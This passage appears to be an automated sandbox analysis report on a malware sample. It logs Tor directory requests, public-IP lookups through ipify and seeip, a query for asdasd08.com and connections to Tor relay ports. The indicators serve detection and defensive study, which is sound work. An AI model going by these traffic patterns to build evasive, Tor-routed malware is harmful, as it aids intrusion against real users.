Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/742091486d04734c57d97bcefb53d22ed0b77881 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close

Source: global traffic	TCP traffic: 192.168.2.3:49689 -> 34.171.171.32:4039
Source: global traffic	TCP traffic: 192.168.2.3:49700 -> 144.217.95.12:9001
Source: global traffic	TCP traffic: 192.168.2.3:49702 -> 151.20.208.221:9030
Source: global traffic	TCP traffic: 192.168.2.3:49720 -> 84.155.152.82:14074
Source: global traffic	TCP traffic: 192.168.2.3:49721 -> 77.7.81.140:9030
Source: global traffic	TCP traffic: 192.168.2.3:49739 -> 84.62.245.6:9001
Source: global traffic	TCP traffic: 192.168.2.3:49740 -> 84.144.111.46:9031

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189

Source: orvsmwx.exe, 00000001.00000003.266947367.0000000001CF0000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.364709435.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.264170871.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.256502569.0000000001970000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.270852014.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.458304685.0000000000D10000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.257004533.00000000019B0000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.369687710.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.357230829.0000000001980000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.357387552.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.356893099.0000000001930000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.370114126.0000000001B60000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.365870747.0000000001C90000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.457651138.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.260754380.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.356920594.0000000001930000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.457509207.0000000000500000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.257457810.0000000001920000.00000004.00001000.00020000.00000000.sdmp, orvsmwx.exe, 00000001.00000003.259547423.0000000001A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://386bsd.net
Source: p9CvI6kq7d.exe, p9CvI6kq7d.exe, 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, p9CvI6kq7d.exe, 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: p9CvI6kq7d.exe, 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, p9CvI6kq7d.exe, 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/https://ip4.seeip.org/Microsoft
Source: p9CvI6kq7d.exe, p9CvI6kq7d.exe, 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, p9CvI6kq7d.exe, 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ip4.seeip.org/

Source: unknown

DNS traffic detected: queries for: asdasd08.com

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00404A1A ioctlsocket,connect,connect,select,ioctlsocket,WSAIoctl,select,recv,

0_2_00404A1A

Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: ip4.seeip.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/aacd4e09e65ba18caf35fbc855ef659505b36e9e HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/5d5ddff29b96cc566aa746636868eb07f97de60c HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/742091486d04734c57d97bcefb53d22ed0b77881 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0Host: 84.144.111.46User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close

